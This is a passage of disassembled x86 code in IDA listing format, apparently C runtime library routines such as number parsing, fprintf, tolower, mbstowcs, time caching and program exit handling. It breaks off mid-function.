loc_41A9F7: ; CODE XREF: sub_41A870+16Dj
mov ecx, [ebp+var_8]
and ecx, 0FFh
mov edx, off_442D4C
xor eax, eax
mov ax, [edx+ecx*2]
and eax, 4
mov [ebp+var_1C], eax
loc_41AA12: ; CODE XREF: sub_41A870+185j
cmp [ebp+var_1C], 0
jz short loc_41AA24
movsx ecx, byte ptr [ebp+var_8]
sub ecx, 30h
mov [ebp+var_14], ecx
jmp short loc_41AA83
; ---------------------------------------------------------------------------
loc_41AA24: ; CODE XREF: sub_41A870+1A6j
cmp dword_442F58, 1
jle short loc_41AA49
push 103h
mov edx, [ebp+var_8]
and edx, 0FFh
push edx
call sub_41E750
add esp, 8
mov [ebp+var_20], eax
jmp short loc_41AA66
; ---------------------------------------------------------------------------
loc_41AA49: ; CODE XREF: sub_41A870+1BBj
mov eax, [ebp+var_8]
and eax, 0FFh
mov ecx, off_442D4C
xor edx, edx
mov dx, [ecx+eax*2]
and edx, 103h
mov [ebp+var_20], edx
loc_41AA66: ; CODE XREF: sub_41A870+1D7j
cmp [ebp+var_20], 0
jz short loc_41AA81
movsx eax, byte ptr [ebp+var_8]
push eax
call sub_423D00
add esp, 4
sub eax, 37h
mov [ebp+var_14], eax
jmp short loc_41AA83
; ---------------------------------------------------------------------------
loc_41AA81: ; CODE XREF: sub_41A870+1FAj
jmp short loc_41AAE0
; ---------------------------------------------------------------------------
loc_41AA83: ; CODE XREF: sub_41A870+1B2j
; sub_41A870+20Fj
mov ecx, [ebp+var_14]
cmp ecx, [ebp+arg_8]
jb short loc_41AA8D
jmp short loc_41AAE0
; ---------------------------------------------------------------------------
loc_41AA8D: ; CODE XREF: sub_41A870+219j
mov edx, [ebp+arg_C]
or edx, 8
mov [ebp+arg_C], edx
mov eax, [ebp+var_C]
cmp eax, [ebp+var_10]
jb short loc_41AAB3
mov ecx, [ebp+var_C]
cmp ecx, [ebp+var_10]
jnz short loc_41AAC2
or eax, 0FFFFFFFFh
xor edx, edx
div [ebp+arg_8]
cmp [ebp+var_14], edx
ja short loc_41AAC2
loc_41AAB3: ; CODE XREF: sub_41A870+22Cj
mov edx, [ebp+var_C]
imul edx, [ebp+arg_8]
add edx, [ebp+var_14]
mov [ebp+var_C], edx
jmp short loc_41AACA
; ---------------------------------------------------------------------------
loc_41AAC2: ; CODE XREF: sub_41A870+234j
; sub_41A870+241j
mov eax, [ebp+arg_C]
or al, 4
mov [ebp+arg_C], eax
loc_41AACA: ; CODE XREF: sub_41A870+250j
mov ecx, [ebp+var_4]
mov dl, [ecx]
mov byte ptr [ebp+var_8], dl
mov eax, [ebp+var_4]
add eax, 1
mov [ebp+var_4], eax
jmp loc_41A9D6
; ---------------------------------------------------------------------------
loc_41AAE0: ; CODE XREF: sub_41A870:loc_41AA81j
; sub_41A870+21Bj
mov ecx, [ebp+var_4]
sub ecx, 1
mov [ebp+var_4], ecx
mov edx, [ebp+arg_C]
and edx, 8
test edx, edx
jnz short loc_41AB08
cmp [ebp+arg_4], 0
jz short loc_41AAFF
mov eax, [ebp+arg_0]
mov [ebp+var_4], eax
loc_41AAFF: ; CODE XREF: sub_41A870+287j
mov [ebp+var_C], 0
jmp short loc_41AB7A
; ---------------------------------------------------------------------------
loc_41AB08: ; CODE XREF: sub_41A870+281j
mov ecx, [ebp+arg_C]
and ecx, 4
test ecx, ecx
jnz short loc_41AB42
mov edx, [ebp+arg_C]
and edx, 1
test edx, edx
jnz short loc_41AB7A
mov eax, [ebp+arg_C]
and eax, 2
test eax, eax
jz short loc_41AB2F
cmp [ebp+var_C], 80000000h
ja short loc_41AB42
loc_41AB2F: ; CODE XREF: sub_41A870+2B4j
mov ecx, [ebp+arg_C]
and ecx, 2
test ecx, ecx
jnz short loc_41AB7A
cmp [ebp+var_C], 7FFFFFFFh
jbe short loc_41AB7A
loc_41AB42: ; CODE XREF: sub_41A870+2A0j
; sub_41A870+2BDj
call sub_422F20
mov dword ptr [eax], 22h
mov edx, [ebp+arg_C]
and edx, 1
test edx, edx
jz short loc_41AB60
mov [ebp+var_C], 0FFFFFFFFh
jmp short loc_41AB7A
; ---------------------------------------------------------------------------
loc_41AB60: ; CODE XREF: sub_41A870+2E5j
mov eax, [ebp+arg_C]
and eax, 2
test eax, eax
jz short loc_41AB73
mov [ebp+var_C], 80000000h
jmp short loc_41AB7A
; ---------------------------------------------------------------------------
loc_41AB73: ; CODE XREF: sub_41A870+2F8j
mov [ebp+var_C], 7FFFFFFFh
loc_41AB7A: ; CODE XREF: sub_41A870+296j
; sub_41A870+2AAj ...
cmp [ebp+arg_4], 0
jz short loc_41AB88
mov ecx, [ebp+arg_4]
mov edx, [ebp+var_4]
mov [ecx], edx
loc_41AB88: ; CODE XREF: sub_41A870+30Ej
mov eax, [ebp+arg_C]
and eax, 2
test eax, eax
jz short loc_41AB9A
mov ecx, [ebp+var_C]
neg ecx
mov [ebp+var_C], ecx
loc_41AB9A: ; CODE XREF: sub_41A870+320j
mov eax, [ebp+var_C]
loc_41AB9D: ; CODE XREF: sub_41A870+D9j
mov esp, ebp
pop ebp
retn
sub_41A870 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_41ABB0 proc near ; CODE XREF: sub_406614+4CEp
; sub_40C50A+377Dp ...
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
push 1
mov eax, [ebp+arg_8]
push eax
mov ecx, [ebp+arg_4]
push ecx
mov edx, [ebp+arg_0]
push edx
call sub_41A870
add esp, 10h
pop ebp
retn
sub_41ABB0 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_41ABD0 proc near ; CODE XREF: sub_406614+4Ep
var_D8 = dword ptr -0D8h
var_D4 = dword ptr -0D4h
var_D0 = byte ptr -0D0h
var_36 = dword ptr -36h
var_28 = dword ptr -28h
var_24 = dword ptr -24h
var_1C = dword ptr -1Ch
var_18 = dword ptr -18h
var_14 = dword ptr -14h
var_10 = dword ptr -10h
var_A = dword ptr -0Ah
var_6 = dword ptr -6
arg_0 = dword ptr 8
push ebp
mov ebp, esp
sub esp, 0D8h
lea eax, [ebp+var_24]
push eax
call ds:dword_494314
lea ecx, [ebp+var_10]
push ecx
call ds:dword_494420
mov edx, [ebp+var_6]
and edx, 0FFFFh
xor eax, eax
mov ax, word ptr dword_492088+2
cmp edx, eax
jnz short loc_41AC68
mov ecx, [ebp-8]
and ecx, 0FFFFh
xor edx, edx
mov dx, word ptr dword_492088
cmp ecx, edx
jnz short loc_41AC68
mov eax, [ebp+var_A]
and eax, 0FFFFh
xor ecx, ecx
mov cx, word_492086
cmp eax, ecx
jnz short loc_41AC68
mov edx, [ebp+var_10+2]
and edx, 0FFFFh
xor eax, eax
mov ax, word ptr dword_492080+2
cmp edx, eax
jnz short loc_41AC68
mov ecx, [ebp+var_10]
and ecx, 0FFFFh
xor edx, edx
mov dx, word ptr dword_492080
cmp ecx, edx
jnz short loc_41AC68
mov eax, dword_492078
mov [ebp+var_D8], eax
jmp loc_41ACF0
; ---------------------------------------------------------------------------
loc_41AC68: ; CODE XREF: sub_41ABD0+30j
; sub_41ABD0+46j ...
lea ecx, [ebp+var_D0]
push ecx
call ds:dword_49441C
mov [ebp+var_D4], eax
cmp [ebp+var_D4], 0FFFFFFFFh
jz short loc_41ACB8
cmp [ebp+var_D4], 2
jnz short loc_41ACAC
mov edx, [ebp+var_36]
and edx, 0FFFFh
test edx, edx
jz short loc_41ACAC
cmp [ebp+var_28], 0
jz short loc_41ACAC
mov [ebp+var_D8], 1
jmp short loc_41ACB6
; ---------------------------------------------------------------------------
loc_41ACAC: ; CODE XREF: sub_41ABD0+BBj
; sub_41ABD0+C8j ...
mov [ebp+var_D8], 0
loc_41ACB6: ; CODE XREF: sub_41ABD0+DAj
jmp short loc_41ACC2
; ---------------------------------------------------------------------------
loc_41ACB8: ; CODE XREF: sub_41ABD0+B2j
mov [ebp+var_D8], 0FFFFFFFFh
loc_41ACC2: ; CODE XREF: sub_41ABD0:loc_41ACB6j
mov eax, [ebp+var_D8]
mov dword_492078, eax
mov ecx, [ebp+var_10]
mov dword_492080, ecx
mov edx, [ebp-0Ch]
mov dword ptr byte_492084, edx
mov eax, [ebp+var_A+2]
mov dword_492088, eax
mov ecx, [ebp+var_6+2]
mov dword_49208C, ecx
loc_41ACF0: ; CODE XREF: sub_41ABD0+93j
mov edx, [ebp+var_D8]
push edx
mov eax, [ebp+var_18]
and eax, 0FFFFh
push eax
mov ecx, [ebp-1Ah]
and ecx, 0FFFFh
push ecx
mov edx, [ebp+var_1C]
and edx, 0FFFFh
push edx
mov eax, [ebp-1Eh]
and eax, 0FFFFh
push eax
mov ecx, [ebp+var_24+2]
and ecx, 0FFFFh
push ecx
mov edx, [ebp+var_24]
and edx, 0FFFFh
push edx
call sub_423ED0
add esp, 1Ch
mov [ebp+var_14], eax
cmp [ebp+arg_0], 0
jz short loc_41AD4A
mov eax, [ebp+arg_0]
mov ecx, [ebp+var_14]
mov [eax], ecx
loc_41AD4A: ; CODE XREF: sub_41ABD0+170j
mov eax, [ebp+var_14]
mov esp, ebp
pop ebp
retn
sub_41ABD0 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_41AD60 proc near ; CODE XREF: sub_4084C8+8Ep
; sub_40C50A+2B37p
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = byte ptr 10h
push ebp
mov ebp, esp
sub esp, 10h
push ebx
push esi
push edi
lea eax, [ebp+arg_8]
mov [ebp+var_10], eax
loc_41AD6F: ; CODE XREF: sub_41AD60+37j
cmp [ebp+arg_0], 0
jnz short loc_41AD93
push offset aStrNull ; "str != NULL"
push 0
push 38h
push offset aFprintf_c ; "fprintf.c"
push 2
call sub_41BF80
add esp, 14h
cmp eax, 1
jnz short loc_41AD93
int 3 ; Trap to Debugger
loc_41AD93: ; CODE XREF: sub_41AD60+13j
; sub_41AD60+30j
xor ecx, ecx
test ecx, ecx
jnz short loc_41AD6F
loc_41AD99: ; CODE XREF: sub_41AD60+61j
cmp [ebp+arg_4], 0
jnz short loc_41ADBD
push offset aFormatNull ; "format != NULL"
push 0
push 39h
push offset aFprintf_c ; "fprintf.c"
push 2
call sub_41BF80
add esp, 14h
cmp eax, 1
jnz short loc_41ADBD
int 3 ; Trap to Debugger
loc_41ADBD: ; CODE XREF: sub_41AD60+3Dj
; sub_41AD60+5Aj
xor edx, edx
test edx, edx
jnz short loc_41AD99
mov eax, [ebp+arg_0]
mov [ebp+var_4], eax
mov ecx, [ebp+var_4]
push ecx
call sub_421230
add esp, 4
mov edx, [ebp+var_4]
push edx
call sub_423FC0
add esp, 4
mov [ebp+var_8], eax
mov eax, [ebp+var_10]
push eax
mov ecx, [ebp+arg_4]
push ecx
mov edx, [ebp+var_4]
push edx
call sub_41EA90
add esp, 0Ch
mov [ebp+var_C], eax
mov eax, [ebp+var_4]
push eax
mov ecx, [ebp+var_8]
push ecx
call sub_424120
add esp, 8
mov edx, [ebp+var_4]
push edx
call sub_4212A0
add esp, 4
mov eax, [ebp+var_C]
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
retn
sub_41AD60 endp
; ---------------------------------------------------------------------------
align 10h
push ebp
mov ebp, esp
mov eax, [ebp+8]
add eax, 20h
pop ebp
retn
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_41AE40 proc near ; CODE XREF: sub_4099BC+6p
; sub_4099DA+4Ap ...
var_4 = dword ptr -4
arg_0 = dword ptr 8
push ebp
mov ebp, esp
push ecx
cmp dword_492170, 0
jnz short loc_41AE67
cmp [ebp+arg_0], 41h
jl short loc_41AE62
cmp [ebp+arg_0], 5Ah
jg short loc_41AE62
mov eax, [ebp+arg_0]
add eax, 20h
mov [ebp+arg_0], eax
loc_41AE62: ; CODE XREF: sub_41AE40+11j
; sub_41AE40+17j
mov eax, [ebp+arg_0]
jmp short loc_41AECF
; ---------------------------------------------------------------------------
loc_41AE67: ; CODE XREF: sub_41AE40+Bj
push offset dword_49274C
call ds:dword_494418
cmp dword_492748, 0
jz short loc_41AE99
push offset dword_49274C
call ds:dword_494414
push 13h
call sub_41BC90
add esp, 4
mov [ebp+var_4], 1
jmp short loc_41AEA0
; ---------------------------------------------------------------------------
loc_41AE99: ; CODE XREF: sub_41AE40+39j
mov [ebp+var_4], 0
loc_41AEA0: ; CODE XREF: sub_41AE40+57j
mov ecx, [ebp+arg_0]
push ecx
call sub_41AEE0
add esp, 4
mov [ebp+arg_0], eax
cmp [ebp+var_4], 0
jz short loc_41AEC1
push 13h
call sub_41BD30
add esp, 4
jmp short loc_41AECC
; ---------------------------------------------------------------------------
loc_41AEC1: ; CODE XREF: sub_41AE40+73j
push offset dword_49274C
call ds:dword_494414
loc_41AECC: ; CODE XREF: sub_41AE40+7Fj
mov eax, [ebp+arg_0]
loc_41AECF: ; CODE XREF: sub_41AE40+25j
mov esp, ebp
pop ebp
retn
sub_41AE40 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_41AEE0 proc near ; CODE XREF: sub_41AE40+64p
; sub_42F560+94p ...
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = byte ptr -8
var_7 = byte ptr -7
var_6 = byte ptr -6
var_4 = dword ptr -4
arg_0 = dword ptr 8
push ebp
mov ebp, esp
sub esp, 10h
cmp dword_492170, 0
jnz short loc_41AF0C
cmp [ebp+arg_0], 41h
jl short loc_41AF04
cmp [ebp+arg_0], 5Ah
jg short loc_41AF04
mov eax, [ebp+arg_0]
add eax, 20h
mov [ebp+arg_0], eax
loc_41AF04: ; CODE XREF: sub_41AEE0+13j
; sub_41AEE0+19j
mov eax, [ebp+arg_0]
jmp loc_41B007
; ---------------------------------------------------------------------------
loc_41AF0C: ; CODE XREF: sub_41AEE0+Dj
cmp [ebp+arg_0], 100h
jge short loc_41AF53
cmp dword_442F58, 1
jle short loc_41AF31
push 1
mov ecx, [ebp+arg_0]
push ecx
call sub_41E750
add esp, 8
mov [ebp+var_10], eax
jmp short loc_41AF45
; ---------------------------------------------------------------------------
loc_41AF31: ; CODE XREF: sub_41AEE0+3Cj
mov edx, [ebp+arg_0]
mov eax, off_442D4C
xor ecx, ecx
mov cx, [eax+edx*2]
and ecx, 1
mov [ebp+var_10], ecx
loc_41AF45: ; CODE XREF: sub_41AEE0+4Fj
cmp [ebp+var_10], 0
jnz short loc_41AF53
mov eax, [ebp+arg_0]
jmp loc_41B007
; ---------------------------------------------------------------------------
loc_41AF53: ; CODE XREF: sub_41AEE0+33j
; sub_41AEE0+69j
mov edx, [ebp+arg_0]
sar edx, 8
and edx, 0FFh
and edx, 0FFh
mov eax, off_442D4C
xor ecx, ecx
mov cx, [eax+edx*2]
and ecx, 8000h
test ecx, ecx
jz short loc_41AF9C
mov edx, [ebp+arg_0]
sar edx, 8
and edx, 0FFh
mov [ebp+var_8], dl
mov al, byte ptr [ebp+arg_0]
mov [ebp+var_7], al
mov [ebp+var_6], 0
mov [ebp+var_4], 2
jmp short loc_41AFAD
; ---------------------------------------------------------------------------
loc_41AF9C: ; CODE XREF: sub_41AEE0+98j
mov cl, byte ptr [ebp+arg_0]
mov [ebp+var_8], cl
mov [ebp+var_7], 0
mov [ebp+var_4], 1
loc_41AFAD: ; CODE XREF: sub_41AEE0+BAj
push 1
push 0
push 3
lea edx, [ebp+var_C]
push edx
mov eax, [ebp+var_4]
push eax
lea ecx, [ebp+var_8]
push ecx
push 100h
mov edx, dword_492170
push edx
call sub_422F40
add esp, 20h
mov [ebp+var_4], eax
cmp [ebp+var_4], 0
jnz short loc_41AFE1
mov eax, [ebp+arg_0]
jmp short loc_41B007
; ---------------------------------------------------------------------------
loc_41AFE1: ; CODE XREF: sub_41AEE0+FAj
cmp [ebp+var_4], 1
jnz short loc_41AFF1
mov eax, [ebp+var_C]
and eax, 0FFh
jmp short loc_41B007
; ---------------------------------------------------------------------------
loc_41AFF1: ; CODE XREF: sub_41AEE0+105j
mov eax, [ebp+var_C]
and eax, 0FFh
mov ecx, [ebp+var_C+1]
and ecx, 0FFh
shl ecx, 8
or eax, ecx
loc_41B007: ; CODE XREF: sub_41AEE0+27j
; sub_41AEE0+6Ej ...
mov esp, ebp
pop ebp
retn
sub_41AEE0 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_41B010 proc near ; CODE XREF: sub_40A359+3Fp
; sub_40A42B+27p
arg_0 = dword ptr 8
push ebp
mov ebp, esp
push 1
mov eax, [ebp+arg_0]
push eax
call sub_416A60
add esp, 8
pop ebp
retn
sub_41B010 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_41B030 proc near ; CODE XREF: sub_40AD78+55p
; sub_413B31+236p
var_4 = dword ptr -4
arg_0 = dword ptr 8
push ebp
mov ebp, esp
push ecx
mov eax, [ebp+arg_0]
mov [ebp+var_4], eax
loc_41B03A: ; CODE XREF: sub_41B030+1Fj
mov ecx, [ebp+var_4]
xor edx, edx
mov dx, [ecx]
mov eax, [ebp+var_4]
add eax, 2
mov [ebp+var_4], eax
test edx, edx
jz short loc_41B051
jmp short loc_41B03A
; ---------------------------------------------------------------------------
loc_41B051: ; CODE XREF: sub_41B030+1Dj
mov eax, [ebp+var_4]
sub eax, [ebp+arg_0]
sar eax, 1
sub eax, 1
mov esp, ebp
pop ebp
retn
sub_41B030 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_41B060 proc near ; CODE XREF: sub_40AD78+19p
; sub_40AD78+49p
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
sub esp, 8
push offset dword_49274C
call ds:dword_494418
cmp dword_492748, 0
jz short loc_41B098
push offset dword_49274C
call ds:dword_494414
push 13h
call sub_41BC90
add esp, 4
mov [ebp+var_4], 1
jmp short loc_41B09F
; ---------------------------------------------------------------------------
loc_41B098: ; CODE XREF: sub_41B060+18j
mov [ebp+var_4], 0
loc_41B09F: ; CODE XREF: sub_41B060+36j
mov eax, [ebp+arg_8]
push eax
mov ecx, [ebp+arg_4]
push ecx
mov edx, [ebp+arg_0]
push edx
call sub_41B0E0
add esp, 0Ch
mov [ebp+var_8], eax
cmp [ebp+var_4], 0
jz short loc_41B0C8
push 13h
call sub_41BD30
add esp, 4
jmp short loc_41B0D3
; ---------------------------------------------------------------------------
loc_41B0C8: ; CODE XREF: sub_41B060+5Aj
push offset dword_49274C
call ds:dword_494414
loc_41B0D3: ; CODE XREF: sub_41B060+66j
mov eax, [ebp+var_8]
mov esp, ebp
pop ebp
retn
sub_41B060 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_41B0E0 proc near ; CODE XREF: sub_41B060+4Bp
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
sub esp, 10h
push ebx
push esi
push edi
mov [ebp+var_4], 0
cmp [ebp+arg_0], 0
jz short loc_41B103
cmp [ebp+arg_8], 0
jnz short loc_41B103
xor eax, eax
jmp loc_41B2C4
; ---------------------------------------------------------------------------
loc_41B103: ; CODE XREF: sub_41B0E0+14j
; sub_41B0E0+1Aj ...
cmp [ebp+arg_4], 0
jnz short loc_41B127
push offset aSNull ; "s != NULL"
push 0
push 55h
push offset aMbstowcs_c ; "mbstowcs.c"
push 2
call sub_41BF80
add esp, 14h
cmp eax, 1
jnz short loc_41B127
int 3 ; Trap to Debugger
loc_41B127: ; CODE XREF: sub_41B0E0+27j
; sub_41B0E0+44j
xor eax, eax
test eax, eax
jnz short loc_41B103
cmp [ebp+arg_0], 0
jz loc_41B276
cmp dword_492170, 0
jnz short loc_41B189
loc_41B140: ; CODE XREF: sub_41B0E0+9Fj
mov ecx, [ebp+var_4]
cmp ecx, [ebp+arg_8]
jnb short loc_41B181
mov edx, [ebp+arg_4]
add edx, [ebp+var_4]
movzx ax, byte ptr [edx]
mov ecx, [ebp+arg_0]
mov [ecx], ax
mov edx, [ebp+arg_4]
add edx, [ebp+var_4]
movsx eax, byte ptr [edx]
test eax, eax
jnz short loc_41B16D
mov eax, [ebp+var_4]
jmp loc_41B2C4
; ---------------------------------------------------------------------------
loc_41B16D: ; CODE XREF: sub_41B0E0+83j
mov ecx, [ebp+var_4]
add ecx, 1
mov [ebp+var_4], ecx
mov edx, [ebp+arg_0]
add edx, 2
mov [ebp+arg_0], edx
jmp short loc_41B140
; ---------------------------------------------------------------------------
loc_41B181: ; CODE XREF: sub_41B0E0+66j
mov eax, [ebp+var_4]
jmp loc_41B2C4
; ---------------------------------------------------------------------------
loc_41B189: ; CODE XREF: sub_41B0E0+5Ej
mov eax, [ebp+arg_8]
push eax
mov ecx, [ebp+arg_0]
push ecx
push 0FFFFFFFFh
mov edx, [ebp+arg_4]
push edx
push 9
mov eax, dword_492180
push eax
call ds:dword_4942D4
mov [ebp+var_4], eax
cmp [ebp+var_4], 0
jz short loc_41B1B9
mov eax, [ebp+var_4]
sub eax, 1
jmp loc_41B2C4
; ---------------------------------------------------------------------------
loc_41B1B9: ; CODE XREF: sub_41B0E0+CCj
call ds:dword_4942F0
cmp eax, 7Ah
jz short loc_41B1D7
call sub_422F20
mov dword ptr [eax], 2Ah
or eax, 0FFFFFFFFh
jmp loc_41B2C4
; ---------------------------------------------------------------------------
loc_41B1D7: ; CODE XREF: sub_41B0E0+E2j
mov ecx, [ebp+arg_8]
mov [ebp+var_10], ecx
mov edx, [ebp+arg_4]
mov [ebp+var_8], edx
jmp short loc_41B1EE
; ---------------------------------------------------------------------------
loc_41B1E5: ; CODE XREF: sub_41B0E0:loc_41B22Fj
mov eax, [ebp+var_8]
add eax, 1
mov [ebp+var_8], eax
loc_41B1EE: ; CODE XREF: sub_41B0E0+103j
mov ecx, [ebp+var_10]
mov edx, [ebp+var_10]
sub edx, 1
mov [ebp+var_10], edx
test ecx, ecx
jz short loc_41B231
mov eax, [ebp+var_8]
xor ecx, ecx
mov cl, [eax]
test ecx, ecx
jz short loc_41B231
mov edx, [ebp+var_8]
xor eax, eax
mov al, [edx]
mov ecx, off_442D4C
xor edx, edx
mov dx, [ecx+eax*2]
and edx, 8000h
test edx, edx
jz short loc_41B22F
mov eax, [ebp+var_8]
add eax, 1
mov [ebp+var_8], eax
loc_41B22F: ; CODE XREF: sub_41B0E0+144j
jmp short loc_41B1E5
; ---------------------------------------------------------------------------
loc_41B231: ; CODE XREF: sub_41B0E0+11Cj
; sub_41B0E0+127j
mov ecx, [ebp+var_8]
sub ecx, [ebp+arg_4]
mov [ebp+var_C], ecx
mov edx, [ebp+arg_8]
push edx
mov eax, [ebp+arg_0]
push eax
mov ecx, [ebp+var_C]
push ecx
mov edx, [ebp+arg_4]
push edx
push 1
mov eax, dword_492180
push eax
call ds:dword_4942D4
mov [ebp+var_4], eax
cmp [ebp+var_4], 0
jnz short loc_41B271
call sub_422F20
mov dword ptr [eax], 2Ah
or eax, 0FFFFFFFFh
jmp short loc_41B2C4
; ---------------------------------------------------------------------------
loc_41B271: ; CODE XREF: sub_41B0E0+17Fj
mov eax, [ebp+var_4]
jmp short loc_41B2C4
; ---------------------------------------------------------------------------
loc_41B276: ; CODE XREF: sub_41B0E0+51j
cmp dword_492170, 0
jnz short loc_41B28D
mov ecx, [ebp+arg_4]
push ecx
call sub_418E70
add esp, 4
jmp short loc_41B2C4
; ---------------------------------------------------------------------------
loc_41B28D: ; CODE XREF: sub_41B0E0+19Dj
push 0
push 0
push 0FFFFFFFFh
mov edx, [ebp+arg_4]
push edx
push 9
mov eax, dword_492180
push eax
call ds:dword_4942D4
mov [ebp+var_4], eax
cmp [ebp+var_4], 0
jnz short loc_41B2BE
call sub_422F20
mov dword ptr [eax], 2Ah
or eax, 0FFFFFFFFh
jmp short loc_41B2C4
; ---------------------------------------------------------------------------
loc_41B2BE: ; CODE XREF: sub_41B0E0+1CCj
mov eax, [ebp+var_4]
sub eax, 1
loc_41B2C4: ; CODE XREF: sub_41B0E0+1Ej
; sub_41B0E0+88j ...
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
retn
sub_41B0E0 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_41B2D0 proc near ; CODE XREF: sub_41B970+D2p
push ebp
mov ebp, esp
cmp off_442C38, 0
jz short loc_41B2E2
call off_442C38
loc_41B2E2: ; CODE XREF: sub_41B2D0+Aj
push offset dword_434014
push offset dword_434008
call sub_41B4A0
add esp, 8
push offset dword_434004
push offset dword_434000
call sub_41B4A0
add esp, 8
pop ebp
retn
sub_41B2D0 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_41B310 proc near ; CODE XREF: sub_41B970+12Dp
arg_0 = dword ptr 8
push ebp
mov ebp, esp
push 0
push 0
mov eax, [ebp+arg_0]
push eax
call sub_41B390
add esp, 0Ch
pop ebp
retn
sub_41B310 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_41B330 proc near ; CODE XREF: .text:0041BAC4p
; sub_41BAE0+22p ...
arg_0 = dword ptr 8
push ebp
mov ebp, esp
push 0
push 1
mov eax, [ebp+arg_0]
push eax
call sub_41B390
add esp, 0Ch
pop ebp
retn
sub_41B330 endp
; ---------------------------------------------------------------------------
align 10h
push ebp
mov ebp, esp
push 1
push 0
push 0
call sub_41B390
add esp, 0Ch
pop ebp
retn
; ---------------------------------------------------------------------------
align 10h
push ebp
mov ebp, esp
push 1
push 1
push 0
call sub_41B390
add esp, 0Ch
pop ebp
retn
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_41B390 proc near ; CODE XREF: sub_41B310+Bp
; sub_41B330+Bp ...
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
push ecx
call sub_41B480
cmp dword_4920D0, 1
jnz short loc_41B3B3
mov eax, [ebp+arg_0]
push eax
call ds:dword_494290
push eax
call ds:dword_4943B8
loc_41B3B3: ; CODE XREF: sub_41B390+10j
mov dword_4920CC, 1
mov cl, byte ptr [ebp+arg_8]
mov byte_4920C8, cl
cmp [ebp+arg_4], 0
jnz short loc_41B413
cmp dword_493794, 0
jz short loc_41B401
mov edx, dword_493790
mov [ebp+var_4], edx
loc_41B3DE: ; CODE XREF: sub_41B390:loc_41B3FFj
mov eax, [ebp+var_4]
sub eax, 4
mov [ebp+var_4], eax
mov ecx, [ebp+var_4]
cmp ecx, dword_493794
jb short loc_41B401
mov edx, [ebp+var_4]
cmp dword ptr [edx], 0
jz short loc_41B3FF
mov eax, [ebp+var_4]
call dword ptr [eax]
loc_41B3FF: ; CODE XREF: sub_41B390+68j
jmp short loc_41B3DE
; ---------------------------------------------------------------------------
loc_41B401: ; CODE XREF: sub_41B390+43j
; sub_41B390+60j
push offset dword_434020
push offset dword_434018
call sub_41B4A0
add esp, 8
loc_41B413: ; CODE XREF: sub_41B390+3Aj
push offset dword_434028
push offset dword_434024
call sub_41B4A0
add esp, 8
cmp dword_4920D4, 0
jnz short loc_41B44E
push 0FFFFFFFFh
call sub_417F40
add esp, 4
and eax, 20h
test eax, eax
jz short loc_41B44E
mov dword_4920D4, 1
call sub_418850
loc_41B44E: ; CODE XREF: sub_41B390+9Cj
; sub_41B390+ADj
cmp [ebp+arg_8], 0
jz short loc_41B45B
call sub_41B490
jmp short loc_41B46F
; ---------------------------------------------------------------------------
loc_41B45B: ; CODE XREF: sub_41B390+C2j
mov dword_4920D0, 1
mov ecx, [ebp+arg_0]
push ecx
call ds:dword_49432C
loc_41B46F: ; CODE XREF: sub_41B390+C9j
mov esp, ebp
pop ebp
retn
sub_41B390 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_41B480 proc near ; CODE XREF: sub_41B390+4p
push ebp
mov ebp, esp
push 0Dh
call sub_41BC90
add esp, 4
pop ebp
retn
sub_41B480 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_41B490 proc near ; CODE XREF: sub_41B390+C4p
push ebp
mov ebp, esp
push 0Dh
call sub_41BD30
add esp, 4
pop ebp
retn
sub_41B490 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_41B4A0 proc near ; CODE XREF: sub_41B2D0+1Cp
; sub_41B2D0+2Ep ...
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
loc_41B4A3: ; CODE XREF: sub_41B4A0+21j
mov eax, [ebp+arg_0]
cmp eax, [ebp+arg_4]
jnb short loc_41B4C3
mov ecx, [ebp+arg_0]
cmp dword ptr [ecx], 0
jz short loc_41B4B8
mov edx, [ebp+arg_0]
call dword ptr [edx]
loc_41B4B8: ; CODE XREF: sub_41B4A0+11j
mov eax, [ebp+arg_0]
add eax, 4
